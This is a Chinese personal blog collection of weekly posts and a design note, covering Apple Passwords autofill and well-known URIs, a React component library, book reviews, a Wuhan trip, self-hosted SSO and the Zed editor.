Apple Native 的 App 果然有最完美的用户体验。之前用的 BitWarden 的自动填充,是通过快捷键调用、脚本实现的,不仅没有输入框的 UI,也会出现填充错的情况。而使用 Apple 原生的 Passwords,在 Safari 里输入框旁边就会出现填充提示,简洁高效。(然而这种体验仅限于 Safari。在 Chrome 或 Firefox 里的 iCloud Passwords 插件体验还不如 BitWarden)

许多网站开启 2FA 后,要填写 OTP。用了 Passwords,Safari 居然支持自动填写(就像自动填写手机短信验证码一样)(当然,阿里云等少数网站不支持)。而之前 BitWarden 极其不优雅的做法是:自动填充密码后,将 OTP 放在剪切板里……

自动填充 OTP 是怎么实现的呢?原来,WHATWG HTML Living Standard 文档的 Autofilling form controls: the autocomplete attribute 这一部分定义了各种 autocomplete 形式,包含 one-time-code,即我们一般使用的六位 OTP。许多国内网站(如阿里云)表单没做这个属性,因此不支持。

Passwords 支持直接点击跳转修改密码

还有一个神奇之处:Passwords 会检测你在不同站点使用的相同密码,并提示危险,会显示一个「Change Password」的按钮,点击即可直接进入该网站修改密码的页面。(当然,有的网站不支持,如阿里云 💢)

这是怎么做到的呢?网站如何约定「修改密码页面」呢?其实,Passwords 打开的是 https://example.com/.well-known/change-password 这个 URL。

💡 TWIL:网站的 Well-Known 目录

This Week I've Learnt:

一些应用需要获得某个站点的 metadata,例如用于搜索引擎爬虫的 robots.txt。越来越流行直接通过 HTTP 协议传递这种信息。而这意味着得约定一个路径存放这种信息。

因此,RFC 8615 定义了 Well-Known URI,即一个网站的 /.well-known/ 开头的路径:IETF RFC 8615 Defining Well-Known Uniform Resource Identifiers

具体约定了哪些 Well-Known URI,则由文档中给出的 IANA Well-Known URIs Registry 登记收录。

常用的 Well-Known URI 有如下几个:

没了解过这些通行的标准,你的网站就会和阿里云一样,不支持自动填充 OTP,不支持改密码!👀

📚 本周在读:《天生不同》,MBTI 入门指南

高中接触到 MBTI,测了很多次自己都是 INFJ。当时很着迷于性格分析,经常分析和推断认识的每个人的 MBTI。后来,MBTI 在网上大为流行,无论是谁都给自己打上某个类型的 tag,这种工具好像沦为了类似「星座」的东西,充满了商业营销的气息。许多人会问:「你信不信 MBTI」,就像「你信不信星座」一样。

对某个领域充分了解才能做出判断。子曰:「君子于其所不知,盖阙如也。」

这本《天生不同》,是经典的 MBTI 入门读物。MBTI 全称 Myers-Briggs Type Indicator,本书作者之一正是 MBTI 理论的提出者之一 Isabel Myers。

本书介绍了 MBTI 的四个维度:

  1. 对世界的关注:内倾 Introversion / 外倾 Extroversion。
  2. 偏好的感知方式:感觉 Sensing / 直觉 iNtuition。
  3. 偏好的判断方式:思维 Thinking / 情感 Feeling。
  4. 对外偏好的心理功能:感知 Perception / 判断 Judgement。

以及形成的 16 种人格组合的性格描述。(不过这一部分更推荐 16 Personalities 网站)

看这本书的时候,我一直在想之前的问题:MBTI 科学吗?有多大实用价值?

如果按照「可证伪」的标准来看,MBTI 不是科学。因为如果生活中出现了不符合 MBTI 的特例,能找到各种其他因素进行解释(因为一个人的全部并不是只由这四维决定的),所以 MBTI 理论无法被证伪。(类似地,根据这个定义,弗洛伊德的精神分析也不是科学;宏观经济学也不是科学)

然而,MBTI 是有实用价值的。

每个人都是独一无二的。然而,我们可以根据某些特征对人进行分类。依据的特征越多,形成的类别越多,每个类别组内个体就越相似,最极端情况是每个人自成一类;反之,依据的特征越少,形成的类别越少,每个类别组内个体差异越大,最极端情况是所有人都在同一类。而一个有效的分类法,应该介于这二者之间:类别不至于过多,而又多到足够反映每个类别组内个体的某些特征。这样的分类方法,就是有实用价值的。

而 MBTI 选取的分类特征,我认为也有足够的代表性,足够接近本质。该理论提出人的两大核心心理功能感知 Perception判断 Judgement,即 MBTI 的第二维和第三维。这二者是前后承接的两个环节,而这二者之间不同人的偏好不同,则决定了 MBTI 的第四维;在这两个环节之前,不同人关注的信息来源不同,决定了第一维。

但是,实际应用该理论,其实也是有些困难的。因为:

  1. 这四个维度不是全面的(或者无法证明是全面的)。一个人的性格,不仅受到这四个维度的影响,可能还有别的维度,例如我们经常提到的「敏感」等。
  2. 一个人展现出来的样子,不仅由性格决定。阅历、智商、相貌、气质等等。这些因素有的在性格之外,有的和性格有交叠。我们是无法将一个人的「性格」抽象出来单独考察、分类的。

因此,MBTI 只能作为一种方向性的参考。它虽然不是完全科学的,但却是自洽的、有一定实用价值的。

🌟 Bookmarks #2

网站:

  • Plain Vanilla:An explainer for doing web development using only vanilla techniques. No tools, no frameworks — just HTML, CSS, and JavaScript.
  • TLCL:在线书籍《The Linux Command Line》中文版。

项目:

文章:

下周见!

组件库 DayDesign 设计手记

UI/UX 决定了 一个网站的 personality。

网页带来的感觉,一半源于网站上的图片、文字这些内容,另一半则源于字体、配色、动效等 UI/UX 设计。

DayDesign 是一个简洁优雅、轻拟物风的 React 组件库。官网:DayDesign

Colors

我首先定义了各种元素的颜色(我定义为 Sass 的 mixin,这样可以方便地复用)。每种颜色都有两套配色方案,分别对应 Lightmode 和 Darkmode。我主要定义了这些颜色:

  • 背景色(全局背景)
  • 前景色(卡片、按钮等放在背景上的物体)
  • 前景 hover 的颜色、active 的颜色
  • 前景物体在背景上的 shadow 颜色
  • 前景物体在背景上的 border 颜色及其 hover 时的颜色
  • 一级、二级、三级文字颜色

当然,如之前在《全新个人网站 Daydreamer 设计开发手记》中所说,Lightmode 和 Darkmode 绝不是简单的反色,而是要重新选择所有配色。所以以上的颜色都是语义的,具体指定的颜色,则根据 Light / Dark 定义在 mixins.scss 里。

Design

我很喜欢拟物风,因为拟物风看起来更精致、更符合物理直觉、更有人文气息。

然而拟物风的设计难度也比扁平风要大得多。扁平化的风格之下,只需要一个简单的边框就能分隔出一个组件;而拟物风里,必须不断推敲各个组件符合现实生活经验的样式。

比如这个 Tabs 组件:

Tabs 效果图

用外边框的 inner-shadow 做出凹槽的效果,用 Tab 的 shadow 做出立体效果,让整个组件符合现实经验(就像一个开关一样)。

最难的点在于如何做 hover 效果。如何提示用户这个 Tabs 是可交互的呢?不能直接套用按钮的 hover 效果,因为 Tabs 里是没有突出显示的 Tab(图中的选项 2)可点击切换,有突出显示的 Tab(图中的选项 1)不可点击,这和按钮是相反的。我参考了各种 UI 的实现,最终的选择是:hover 时,整个 Tabs 外框颜色加深高亮显示(当然,Light、Dark 模式颜色不同),这样用户可以知道这整个组件是可交互的。输入框也按照这个思路统一了 hover 效果。

综上所述,其实拟物风真的并不适合更复杂的 UI。因为设计出合理的拟物 UI 难度很大,费时费力。

Why

使用各种现成的组件库,有两个问题:

  1. 风格不符合。大多数流行的 Web 组件库,比如 Ant Design,都追求高效明快的风格。毕竟一般的 Web App 都追求效率和生产力。这在设计上的体现就是极致的简约和扁平化,动效也是简单快速。这些本身当然很好,然而这不是我的博客想要传达的风格。如前所述,我喜欢轻拟物风。
  2. 大众脸。虽然前端组件库百花齐放,但被广泛大量使用的组件库不外乎 Ant Desgin、Shadcn、Bootstrap 那几种。这导致很多用了这些组件库的网页看起来都很「大众脸」。我依然清晰地记得第一次接触到 Boostrap 的时候,有一种恍然大悟的感觉:原来之前看起来莫名长得这么像的网页,都是用了这个组件库!

所以在做我的博客前端的时候,我没有使用任何组件库,而是用 Tailwind 自己写了所有组件样式。现在,我将所有组件样式抽离出来,做成 DayDesign 这个 React 组件库。

为什么我如此重视网站的 UI/UX 设计呢?除了和我个性里的感性有关,我觉得最重要的原因就和前文开头所述一样:

网页带来的感觉,一半源于网站上的图片、文字这些内容,另一半则源于字体、配色、动效等 UI/UX 设计。

比如我的网站全局用了 serif 字体,就是希望传递一种古典、人文、感性的气息。如果我希望传递的是 Geek 风,或许全局用 monospace 字体就是更好的选择。

归根结底,这其实就是《Refactoring UI》里说的 personality

Every design has some sort of personality. A banking site might try to communicate secure and professional, while a trendy new startup might have a design that feels fun and playful.

有趣的是,设计给你带来的影响是潜移默化的。文字、图片这些内容给你带来影响,这种影响本身是你可以感觉到的;而 UI/UX 带给你的影响你却无法明显感知到,像是一种「暗示」。例如,走进宜家精心设计的样板房里,你会觉得有回家的感觉,舒适、惬意,这是灯光、配色、布局等等各种设计给你带来的综合主观感受,你用理性是很难说清楚的。(这有点像「侧信道攻击」)

依照经验来看,越感性的人越容易受到设计风格的「暗示」。上一个版本的网站,我首页只写了一句话:「✨ 你能听到星星的呼唤吗?」结果有朋友就是被这句话 touch 到了。

Afterword

我们可以随时将一个灵感转变为现实。这就是我们热爱 coding、热爱前端的原因。

Weekly #21:我们可以随时将一个灵感转变为现实

历史上最伟大的领袖与政治家都不是问题解决者。他们是开创者,他们是创造者。即便在遭逢冲突的时代,例如战争或者经济大萧条,他们都为了打造出自己理想的社会而采取行动。丘吉尔(Winston Churchill)与小罗斯福(Franklin Delano Roosevelt)就是两个形象鲜明的开创者政治家。他们不只试着解选民之苦,甚至还有时间按照他们的愿景,把自己的时代打造成通往未来的基础。

——《最小阻力之路》

🌆 封面图:秋夜

封面图:秋夜

iPhone 12 mini 拍得很糊。看个意境就好。

🎨 我们可以随时将一个灵感转变为现实

本周把之前博客前端各种组件都抽出来,做成了 DayDesign 这个组件库。

其实最早是想要给博客评论区加上 OIDC 登录(计划做微信、GitHub、Google 和 SkyAuth 登录),然而设计评论区 UI 的时候,需要做一个 Tabs 组件,来切换用户信息填写方式(OIDC 登录,或填写名字、邮箱和网址),而这个组件在表单里的地位有些奇怪。于是我突然想到:干脆把所有组件都抽离出来,做一个组件库!

这也是我第一次配 Rollup 这个工具。要配上 React、TypeScript、PostCSS、Tailwind、Sass 等等,前端工具链还是挺折腾的。

于是有了:组件库 DayDesign 设计手记

我们可以随时将一个灵感转变为现实。这就是我们热爱 coding、热爱前端的原因。

当我灵光一闪的时候,总会有这样独特的体验:似乎有某种东西在召唤我去创造。我记得最疯狂的一天是我早上七点半到图书馆,coding 了一整天,到晚上十点才回家,期间仿佛感觉不到时间的流逝了。这或许就是所谓的「心流」状态。这都是源于「创造」带来的乐趣。

📱 哪款 iPhone 适合你?

很喜欢 Apple 官网每个产品介绍最后的这个部分:「哪款 iPhone 适合你?

哪款 iPhone 适合你?

每款 iPhone 的介绍,底部都有这个部分。相应地,每款 MacBook 的介绍,底部都有「看看哪款笔记本电脑适合你。」每款 iPad 底部都有「看看哪款 iPad 适合你。」这个部分列出该产品所有主要产品线,进行大致的对比。还有直达的「联系 Specialist 专家协助选购」的链接。

至少它有这样一种意识:客户没有义务了解你的所有产品线。客户只关心哪一款产品满足 TA 的需求。这就是一种「以客户为中心」的理念:应该是厂商站在客户的角度思考客户的需求,而不是要求客户站在厂商的角度了解你的各种产品。

反观国内厂商,产品线都是什么乱七八糟的:数字、Mate、Note、Nova、Turbo、Civi、K、R、X,还有后缀,什么 Note 14 Pro+,K70 至尊版,Mate 60 RS 非凡大师……而官网的介绍连一个横向对比的工具都没有做。这种混乱毫无逻辑,简直让人毫无购买欲望。而如果去线下店问导购,多半会被宰一笔。😅

小米手机的产品线

📚 本周在读:《最小阻力之路》

一句话概括:从结构动力学的角度看待行为,我们的行为都沿着某个潜藏思维结构决定的「最小阻力之路」。

一种常见的结构是反抗 - 顺应(React-Respond)取向,即顺应环境(做好学生)或者反抗环境(做坏学生)。本书认为,这种取向的最大问题就是基于这样的假设:环境决定人的行为。这种取向形成了一个内循环结构,即通过最小阻力之路,顺应取向会走向反抗,反抗取向会走向顺应,无法在内部改变这一取向。

由此衍生的是解决问题取向。这一取向的最小阻力之路是:问题 - 改善问题的行动 - 问题改善 - 行动减少 - 问题再度恶化。这是一个典型的摇摆模式。

本书提出的对应取向是创造取向。本书认为创造不是环境的产物,创造不等同于解决问题,目的也不是解决问题。创造者是为了它们的造物本身而创造。

本书认为结构会带来张力,而结构产生的行为则趋向于舒缓张力。这就是「张力 - 舒缓」系统。而生活中经常遇到张力相互冲突的结构,例如「希望减肥」vs「想吃垃圾食品」。某个结构的张力舒缓意味着另一个结构的张力加强,使得最终的行为不断摇摆。(其实类似的原理可以用化学的平衡移动模型来解释,只不过本书作者另外发明了一套语言)

为了解决这一问题,本书提出,我们可以创造一个在相互冲突的结构之上的、更具主导地位的结构。本书称为「结构性张力」(没 get 到这个命名)。它包含两个要素:

  1. 对于想要创建的成就之愿景。
  2. 对现状的清楚认识。

诗人罗伯特 · 弗罗斯特(Robert Frost)的一句话最能诠释创作取向的这种精神:「所有成就伟大事物的人,都是为了那些事物本身而放手去做的。」

书评:70 分。本书并没有提出很多切实可行的方法论。鸡汤味比较浓。

本书大量采用「小节+小标题」的形式,有的小节之间没有逻辑。据豆瓣短评:「有可能是研究生代笔的。」(不过比上周吐槽的几本「小节+无小标题」的模式要好,至少有个观点概括)建议跳着读,有的章节只要略看一眼节标题即可。

教训:阅读还是要名著优先。豆瓣 8.1 分的作品也如此不尽人意。所谓「随缘式阅读」或许更适合略读。

🤔 Q4A #3:AI 高速进化的今天,什么能力更重要?

在推上看到这样一个观点,在评论区引起了争议。

在 AI 高速进化的今天,编程能力只会越来越不重要。想法/创意,执行力,持续获取流量的能力这些最重要。我们身边已经有非常多的例子,设计师/产品经理通过 AI 的协助,可以完全抛弃工程师独立出产品了,而你还在纠结框架够不够新,够不够主流?

我做了三年职业的全栈进阶课程的老师,以前的课程核心目标都是为了帮助学员跳槽找到更好的工作,拿到更高的薪资,所以什么新学什么,还教你怎么背八股文,怎么读源码,怎么应对面试官的提问等等。

但这些对独立开发而言毫无价值!这个独立开发的课程他是以赚钱作为【唯一】目的。打工上班拧螺丝那一套在这里完全不实用,越快构建你脑海中的创意,越快开始赚钱才是王道。

—— 大帅老猿

虽然上面的说法存在争议,且只是面对独立开发的情况,但毋庸置疑的是:随着 AI 的高速发展,各种能力的重要程度优先级是有所改变的。

本周 Question For Answers #3:AI 高速进化的今天,什么能力更重要?

分类讨论:

  1. 在大厂中的职业道路。
  2. 在初创公司的职业道路。
  3. 独立开发的职业道路。

哪些能力更重要?

  • 编程开发能力
  • 学习能力
  • 沟通表达、团队协作
  • 执行力
  • 逻辑思维能力
  • 创意
  • 人际关系能力
  • ……

🤔 你觉得(随着 AI 的发展,)在大厂 / 中小厂 / 初创 / 独立开发的职业生涯中,最重要的一个 / 几个能力是什么?

🌟 Bookmarks #1

下周见!

Weekly #20:我的个人宣言 v0.1

游戏的格局越大,人类能贡献的潜能就越特别。作为人类,我们最大的优势正好就是过度专业化的对立面 —— 广泛融合各类知识的能力。

——《成长的边界》

🌆 封面图:蒸汽机车

蒸汽机车

本周去参观了中南大学铁道校区。图为该校区内陈列的蒸汽机车。

上网查了才知道校内陈列的三列机车是真实的已退役机车(而不是模型)。第一次知道原来这种机车如此庞大,车轮近一人高。

☀️ 夏日终曲

随着长沙天气一波明显的降温,能明显地感知到,夏天终于结束了

气温的变化给人体带来的感受,以及桂花的香气带来的感受,是非常感性的。我没法用言语描述出这种感觉。但它会让我回想起以前每个夏天结束的时候。秋天的夜晚,金黄色的落叶。有些不重要的场景不知为何就记得特别清晰,比如高中的晚上在教学楼走廊里和同学泡泡面吃,开水呈现出的水雾,它们带走的夏天。

都怪各种文学作品,都怪《Call Me by Your Name》这样的电影,让人对夏季有这样的执念。🥲

再见了,21 岁的夏天。👋

📃 我的个人宣言 v0.1

《高效能人士的七个习惯》中指出,要制定自己的「个人宣言」(或可称为「个人宪法」),描述自己最根本的、最核心的价值观和追求。当面临重大决策时,可以将其作为参考依据。

「个人宣言」的制定是一个长期和动态的过程。成长的过程中我们或许随时会有新的思考,我们的三观也会不断更新。所以,现在我制定的版本号是 v0.1。

我的三条核心追求,按照优先顺序排列如下:

  1. 学习 Learn。此处的学习并非局限于某一个领域的「study」,而是对万事万物、对整个世界的了解。「读万卷书,行万里路。」
  2. 创造 Create。理想的劳动应该是充分发挥自己创造力的过程。(因此,我非常讨厌刷题和考试)
  3. 影响 Influence。我们的存在应该或多或少地对这个世界产生正面的影响和改变。当然,这在目前阶段并非最主要的目标。一个人的「影响力」是需要慢慢积累的。

其他暂时未列入上面三条的追求(优先级相对较低),有:

  • 自由。能够不被拘束地做自己想做的事的权利。
  • 对自己负责的权利。我们不应被迫地让别人对我们负责。折腾 self-hosting 也是出于这样的追求:我希望自己负责我的敏感数据的安全,而非某个大厂的草台班子或实习生来负责。
  • 与他人不同。从信息论的角度来看,是我们身上与大多数人不同的那一部分,定义了我们。

想到其他的再随时更新。

📚 本周在读:《成长的边界》

成为专才还是成为通才,是个一直辩论不完的辩题。本书倾向于后者,认为不应过早和过度地一头扎入某个专业化领域,应该从宏观角度考虑自己的发展。

本书将学习环境分为两种:

  • 友好型:各种体育运动、国际象棋等,能够通过刻意练习得到提升。
  • 恶劣型:金融或政治的趋势预测,疾病诊断等,这些领域很难通过刻意练习得到稳定的提升。

前者就是本书所说的「专业化」。通过诸如所谓的「一万小时定律」大量地在某个领域进行刻意练习,从而培养直觉。本书引证认为,这反而容易让人陷入固定的思维模式,从而无法产生变革和创新。

相比之下,后者就是通向「通才」的道路。在更宏观的复杂领域,并不是通过无脑的刻意练习就能得到提高的,需要有大局的观念和深度的思考。这才是人类独有的思维模式。

然而,我只能给这本书打 70 分。这本书有和之前读的《终身成长》一样的「美式畅销书」的毛病:大量地堆砌事例而论证太少。每一节都是以小故事开头(估计为了吸引一些低水平阅读者的注意力),逻辑和观点只是穿插在期间,很不清晰,引用太多,废话连篇。这是一种很低效的信息传达,非常不符合《金字塔原理》讲述的沟通方式。我看了一段又一段的故事,真的很急:「你到底想说什么呢?!」

我觉得其实看完第一章就够了。

📚 本周开始读:《计算》

上学期有幸听了吴翰清(道哥)来 HNU 的岳麓讲坛《一种计算主义的世界观》,并种草了他新出版的《计算》这本书。由于涉及到太多数学知识,这次讲座我其实并没有太听懂。浏览了《计算》这本书发现,这次讲座可以视为对部分书中内容的 summary。本周开始啃这本书!

这本书要回答的核心问题是:计算的原理是什么?这是一个看似不言自明,其实很难回答的问题。我们的生活中有无数的计算,但真正面对这个问题思考的时候,我们会发现很难用语言来描述计算的定义、本质和原理。不信的话,你可以试试给「计算」下一个严谨的定义。

基于此,本书尝试讨论四个问题:

  1. 数学是发明还是发现?
  2. 无穷的本质是什么?数学中有无穷的概念,但物理上至今并没有任何证据揭示无穷的实在。
  3. 机器能思考吗?大脑的思维模型是离散的还是连续的?神经网络至今缺乏可解释性。
  4. 宇宙是一台计算机吗?现代量子理论解释下世界是离散的(所有物理量是普朗克单位的整数倍),这意味着宇宙是可计算的。

仔细想想,每个问题都很有意思,并且都很难回答。

对于每个问题,就像哲学一样,学界有不同的学派和学说,不同的「主义」,有不同的回答。而本书中作者秉持的就是所谓「计算主义」,作者的解释是「一种将世间所有过程都视为计算的世界观」。

🐦 全新推特置顶帖

推特(现称 X)是个很神奇的平台,在上面可以认识很多有意思的人。

我觉得我(目前)发推的目的是:

  1. 展现我的世界观。Show myself。
  2. 与更多新朋友建立 connections。

(第一点也是为了更好地进行第二点)

自我介绍对我来说一直挺困难的,本周更新了推特置顶帖,目前内容如下:

👋

你好,我是 SkyWT。可以叫我 Sky。
很高兴认识你~

是浙江人。目前在湖南长沙上大学。
INFJ。努力感知这世界的一切。
爱好 📚阅读、🧑‍💻coding。技术栈偏前端。
爱好折腾 homelab 和 self-hosting。
超级细节控。喜欢 Apple。

我目前将自己定义为 🎨Design Engineer
仍在积极探索职业方向。

我的个人主页和博客网站:skywt.cn
博客基本每周会更新,记录所思所想,渴望与你共鸣。欢迎访问~

社交媒体展现的只是我想让你看到的我。
相比虚拟世界的社交,我更喜欢线下面对面的沟通。如果你离我不远,不如来聊聊?☕️

💳 某大厂银行卡 CVV 泄漏传闻

最近大厂的事故真是一场接一场,并呈现危害越来越大的特征。之前只是某些云宕机几小时,后来是宕机或事故几天甚至几周,后来出现了照片泄漏等数据安全的问题,现在甚至是涉及钱的数据安全都出现问题。

参考:某团信用卡数据泄露传闻:分析与观点

上上周刚因为某云盘的照片泄漏,讨论过 ☁️ Self-hosting 的必要性。然而这次涉及金钱的这些服务并不能 self-hosting。我觉得仅有的解决方案是:尽量选择规模更大的支付平台、尽量少绑定,以及自求多福。

🤔 Q4A #2:地铁一号线标识色为什么大多选用红色?

一般来说,每条地铁都有一个标识色。去了很多城市,我发现大多数城市地铁 1 号线都不约而同选用了红色。

想象一下,你来到一座新的城市,第一次乘坐地铁,发现 1 号线是蓝色(或者黄色,或者绿色),会不会感到有些奇怪?

地铁一号线标识色为什么大多选用红色?

  1. 文化相关:
    1. 中国传统文化中,红色代表庄重、喜庆。
    2. 红色在本政权中的象征意义。
  2. 物理性质:红光波长最长,最为醒目。(因此也被用于交通信号灯)
  3. 已形成的惯例:北京、上海等许多大城市都选用红色作为 1 号线标识色,已成惯例。
  4. ……(评论区 👇)

🌟 Bookmarks #0

从本周起,我尝试将各处收藏的有意思的网站资源链接也统一同步到 Weekly,方便查找。

项目:

  • color4bg.js:基于 WebGL 和 JavaScript 生成动态的抽象网页背景。

设计:

  • Patreon.com:十分具有设计感的官网。巨幅的 slogan 和全屏背景,带来的效果非常 impressive。
  • Amie.so:这个官网实在太酷了。不过技术难度也挺大。

我希望建立这样一个平台,能够聚合我的所有日记、笔记、收藏、Twitter 帖子、GitHub 动态、一闪而过的想法等等,这样写周报就方便很多。人一天接触和生产的信息太多也太散乱,如果能统一管理就好了。这篇《使用 Mastodon 搭建个人信息平台:前篇》是一个参考。

下周见~

Weekly #19:你好,武汉!

🌆 封面图:鹦鹉洲大桥

封面图:鹦鹉洲大桥

本周去武汉参加了金山校招开放日活动。这也是我第一次来武汉,顺便在武汉玩了几天!

武汉给我的第一印象就是。民国时期,国民政府将武昌、汉口、汉阳三镇合并,成为了这座超大城市,也形成了武汉「多中心」的格局。这几天花在地铁上的时间很多,花在打车上的钱也不少!

几座跨江大桥的恢弘气势,很难不让人感到宏伟壮观。

🌉 武汉的公共交通

武汉有非常丰富的公共交通形式。例如在光谷,有公交、BRT、有轨电车、地铁/轻轨。这四种交通方式运力从小到大,造价也从低到高。

武汉的 BRT 并不像厦门那样有专门的高架桥,而只是简单地划分了公交专用道。相比普通的公交车,好处是:1)车速可以更快;2)可以使用容量更大的车型;3)不受道路拥堵影响。

光谷的有轨电车是比较独特的一种公共交通。在机动车道和非机动车道之间有一条有轨电车道。一列电车很长,形似地铁。在经过路口时,电车也要和机动车一样等待红灯。相比公交和 BRT,优势是:1)车速可以更更快;2)车型容量更更大;3)不受道路拥堵影响。当然造价也更高。相比地铁的优势是造价低、更快捷。(遗憾的是,光谷电车并不支持 NFC 交通联合卡)

武汉光谷有轨电车

武汉的地铁也很特别。所有地铁站内的官方名称都是「武汉轨道交通」而不是「武汉地铁」。听武汉本地的朋友说这是出于历史原因:在最初规划时计划造轻轨,所以名为「轨道交通」;造完一号线后由于成本等种种因素,之后改建了地铁。所以目前一号线是高架轻轨,其他线都是地铁。从一号线换乘其他线路,要从地上乘坐长长的电梯到地下。

武汉轨道交通一号线

(插播一则冷知识:武汉光谷出现在地铁站名中的英文是 Optics Valley,「光学山谷」)

地铁五号线是无人驾驶的列车。首尾车厢经过单独设计,可以在车头的挡风玻璃看到车前隧道内部。非常酷!

无人驾驶的武汉地铁五号线

虽然有丰富且独特的公共交通,但武汉的道路交通还是不敢恭维。在高德地图上呈现红黑色的拥堵路段、疯狂的司机师傅、横冲直撞的非机动车,我都体会到了……和长沙一样,在武汉的路上骑车,可能有生命危险。😇

关于武汉交通还有一个不得不提的存在,那就是「萝卜快跑」,百度的无人驾驶出租车服务。它并不是如我想象的那样可以随意指定上下车地点,而是在路边有许多固定的上下车点,可以从中选择。有的小巷内没有设点,就无法在其中上下车。所以武汉的朋友说它其实类似公共交通的地位,无法解决「最后一公里」的问题。这项服务也引发了诸多问题,比如交通事故消息被压、本地司机罢工等。我本想体验一下,可惜等了十分钟都没呼叫到车……希望下次有机会体验!

🔐 Authelia:更简洁的开源 SSO 服务

之前一直用 Keycloak 作为我 self-hosted 的 SSO 系统,部署在 SkyAuth。然而 Keycloak 历史悠久,异常庞大,功能复杂,默认 UI 丑陋(一股 RedHat 风味);基于 Java 开发,自定义主题困难。作为 UI 颜控的我完全无法忍受。于是我在找寻其替代品。

本周将其换成了 Authelia。这也是一个开源的 SSO,后端基于 Go,前端基于 React,相比之下功能简洁不少,也可以方便地进行一些自定义。接下来,我希望将博客评论区集成第三方登录,如 GitHub、Google 甚至我自己的 SSO。慢慢折腾。

🤔 Q4A #1:大厂里学历对晋升的影响

秋招进行至今,已经经历了几十场面试。由于我目前无读研打算,学历将停留在本科,于是每一场的反问环节,我都有一个保留问题:「您觉得大厂里学历对晋升有影响吗?或者影响大吗?

由于不同企业内部、不同面试官的经历都有所不同,或许某一名面试官的经历不能反映普遍情况。所以我每场面试都会问,希望得到足够多的数据。

面试官对于这个问题的回答,统计结果大致如下:(只针对前端开发岗位)

  • 70%:「无影响」
    • 没有影响。学历只是「敲门砖」,进去后只看能力。
    • 就我的个人经历而言,没有感觉到影响。
    • 甚至有硕士定级比本科生低的。
    • 可能有一定相关性,但并不构成因果关系。名校出身的人大多视野更开阔、思维更敏捷。
  • 10%:「只影响入职定级」
    • 可能只会影响入职时的定级,但入职后不太会看。
  • 20%:「有影响,但不大」
    • 可能有,但微乎其微,学历只是像一个 label 贴在你身上。
    • 可能有,但你的本科也是 985,其实已经够了。
    • 可能有。但几年后的环境可能更差,你现在就业是更好的选择。
    • (笑)这个问题我可能很难回答你……

秋招是痛苦的。武汉之行被插入了五场面试。国庆终于可以好好休息一下。下周见~

Weekly #17&18:别独自用餐

你要记住,爱、互惠和知识并不像银行存款那样越用越少。创造力会激发更多创造力,金钱会带来更多金钱,知识会带来更多知识,朋友会带来更多朋友,就连成功也会引领更大的成功。最重要的是,你的付出会带来别人的付出。纵览历史,这个「生成」道理在当今社会表现得最为明显,在这样一个人际时代,世界的运行越来越合乎人际交往的准则。

无论你现在正处于人生的哪个阶段,无论你知道什么,你都要明白,你所拥有的这一切都是你的思想、经历和那些你接触的人共同促成的,而那些东西或是你亲身所得,或是你通过书籍、音乐、电子邮件或你所处的文化间接得来。现在并没有记录表明,积累要达到多少量,事物才会向越来越多的方向发展。因此从现在起你就要下定决心,开始广交朋友,积累知识、经验和人脉来帮助自己实现目标。

——《别独自用餐》

我现在觉得,在图书馆里的我才真正自由,因为在这里才能专心看书、学习、coding,才能让思维自由驰骋。在舒服的家里则不能。

上周由于中秋假期以及各种杂事,Weekly 跳过了一周。其实我上周有写了一半的一些话题,只是没能及时地在周日 24:00 之前找个时间将它们整理好发出来,所以合并到这一周发。

不过,我觉得 Weekly 还是以一周为单位更合适。这期以两周为单位,我发现有些想法被搁置了两周的时间就不想写了。得趁保鲜期把它们记录下来。

🌆 封面图:金黄色的落日

封面图:金黄色的落日

🍎 切换到 Apple Native Apps

我越来越喜欢所谓「Apple Native」的软件,即 Apple 开发的第一方软件。比如:

  • 日常重度使用 NotesRemindersCalendar 三件套,它们承担了日记本、规划表等和生活有关的一切功能。特别是 iOS18 更新后的 Calendar 能够和 Reminders 深度整合,使用体验媲美滴答清单。Notes 对 Apple Pencil 的支持也很不错,我已经停止使用 Notability 和 Goodnotes 了……
  • 主用浏览器是 Safari。虽然之前体验的 Arc 确实惊艳到我了,但使用一段时间后我还是换回了 Safari,因为它的简洁、稳定、生态集成(能自动填写验证码等)、省电省内存(相比 Chromium 内核浏览器……)。当然,为了应对 Safari 令人诟病的插件生态和某些奇怪的兼容性问题,我还是将 Chrome 作为备用浏览器。
  • 之前骂过的 Freeform,随着版本更新,功能也日趋完善。新版创建图形后能够在节点上建立连线,感觉用来画流程图可以替代 draw.io!
  • Keynote 做 PPT,(个人感觉)体验比隔壁没品的 PowerPoint 好很多。
  • 功能贫瘠但 UI 绝美的 Apple Music,这个显示歌词界面的动画真的 only Apple can do!

之所以喜欢 Apple Native Apps,最大的原因是它们高度统一的设计语言。Windows 和各种 Linux 发行版,功能或许都更加丰富,各种软件都有更多选择,然而有这样一种东西只有 Apple 能够实现:统一的设计语言。不同开发者创造的产品可能各有各的好,但 UI/UX 永远不可能统一;Windows 和 Android 等不同操作系统,用户体验的统一更是天方夜谭。只有 Apple 掌控着自己的各个平台能够达到 UI/UX 极致的统一。

此外,我还希望保证软件(包括数据)的可用性。那些我不信任的开发者,我会担心他们公司倒闭或跑路,或者某天软件曝出重大安全问题,或者乱七八糟的版本更新毁了我的体验(典例:Memos)。软件服务就是如此脆弱。因此,我使用的所有软件服务,要么技术细节彻底对我完全可见可控(比如 Typora 结合 Git 管理笔记文件;比如我的各种 self-hosted 开源服务),我可以通过手动管理数据保证其稳定性;要么是一个我信任的提供商,技术细节彻底无需我关心(比如 Apple 的软件)。Apple 的软件向来有这样一种设计思想:对用户隐藏一切技术细节。这点我也很喜欢。

此外还有独有的 Apple 生态的联动,包括 iCloud 跨端同步、和 Shortcuts 的整合等等。总之,我确实已经陷入 Apple 生态无法自拔了 😭。

🧑‍💻 Zed 使用体验

众所周知,最近 Cursor 这款 IDE 非常火爆。因此,我从 VSCode 换到了……Zed!(开玩笑,其实没有因果关系)现在我已经将 Zed 作为我的主力 IDE。

换到 Zed 的第一个感觉就是流畅,干什么都快。相比之下,VSCode 实在太卡了。虽然 VSCode 相比其他 Electron-based 桌面端软件已经做了很充足的优化,但毕竟是 Electron,还是和 Zed 这类 Native 得应用没法比。体验了 Zed 的流畅,我再也回不去了。

此外,Zed 还异常简洁。随着插件的增多,VSCode 的配置越来越复杂,各种配置冲突和莫名其妙的问题也经常遇到,带来了很大的心智负担。VSCode 的插件系统的生态堪比一个操作系统,然而作为一个 IDE 真的需要这些吗?诸如 API 管理、容器管理这样的插件,用命令行或者独立的应用都能更好地完成。相比之下,我更喜欢 Zed 这种回归 IDE 本源的简洁设计。IDE 的核心功能应该只有一个:coding。Zed 很符合我钟爱的极简主义美学!

